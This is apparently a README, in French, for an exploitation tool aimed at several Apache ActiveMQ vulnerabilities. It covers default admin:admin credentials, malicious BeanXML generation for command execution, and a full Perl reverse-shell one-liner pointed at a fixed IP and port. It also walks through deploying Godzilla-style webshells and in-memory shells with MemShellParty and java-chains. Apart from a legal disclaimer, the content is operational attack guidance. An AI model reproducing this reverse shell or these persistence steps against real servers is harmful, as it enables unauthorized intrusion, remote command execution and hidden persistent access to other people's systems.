
Outil d'exploitation complet des vulnérabilités Apache ActiveMQ (CVE-2015-5254,CVE-2016-3088,CVE-2022-41678,CVE-2023-46604,CVE-2024-32114,CVE-2026-34197,CVE-2026-40466, CVE-2026-42588)
Prend en charge la détection et l'exploitation des vulnérabilités Apache ActiveMQ : CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588

[!WARNING] Cet outil est destiné uniquement à la recherche en sécurité et à des fins d'apprentissage. L'utilisateur assume seul toutes les responsabilités légales et connexes découlant de l'utilisation de cet outil. Assurez-vous que votre utilisation est conforme aux lois et réglementations locales. L'auteur décline toute responsabilité. Si vous n'acceptez pas ces conditions, n'utilisez pas cet outil.
Lancement avec jdk8, port Openwire par défaut 61616, parfois l'environnement cible peut ne pas l'ouvrir. Nom d'utilisateur et mot de passe par défaut d'Apache ActiveMQ : admin:admin. Le panneau de configuration BeanXML permet de générer un fichier XML malveillant exécutant les commandes correspondantes. N'hésitez pas à soumettre une Issue en cas de problème.
Lors de la détection des vulnérabilités, l'adresse du serveur XML malveillant peut être définie sur dnslog. Si une requête est reçue, cela peut indiquer la présence de CVE-2023-46604, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588.
java-chains génère des données de désérialisation. Pour valider la vulnérabilité, utilisez URLDNS.
Pour un reverse shell, il est préférable d'utiliser perl, car sh et bash peuvent parfois ne pas fonctionner.
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Lors de l'écriture d'un webshell personnalisé, l'écriture du shell de glace (BingXie) génère une erreur 500, alors que Godzilla fonctionne normalement. Lors de la connexion avec l'outil, veillez à ajouter l'en-tête d'authentification.
À partir de la version 1.4, le module de génération de mémoire-shell MemShellParty n'est plus intégré, d'une part car le fatjar est trop volumineux, d'autre part car la méthode de décodage base64 nécessaire au SpringBeanXmlClassLoader n'est pas universelle selon les versions de Java, ce qui oblige l'outil à réinventer la roue. Les développeurs ayant besoin d'une mémoire-shell peuvent se référer au processus de génération XML ci-dessous :
Générez d'abord la chaîne base64 de la mémoire-shell correspondante dans MemShellParty : https://party.mem.mk/ui

Ensuite, allez dans java-chains, sélectionnez Generate-OtherPayload, puis choisissez Bytecode personnalisé.

Sélectionnez la méthode de décodage base64 en fonction de la version de JDK. La méthode par défaut est decodeFromString, mais pour l'environnement cible CVE-2026-34197 de vulhub, il faut choisir java.util.Base64.
Enfin, remplissez la chaîne Base64 de la mémoire-shell et cliquez sur Générer.

Pour les types Filter, Listener ou Servlet, il faut ajouter le chemin /admin/, /api/ ainsi que l'en-tête d'authentification lors de la connexion à l'adresse de la mémoire-shell. Pour le handler, le chemin et le champ d'authentification ne sont pas nécessaires.
Remerciements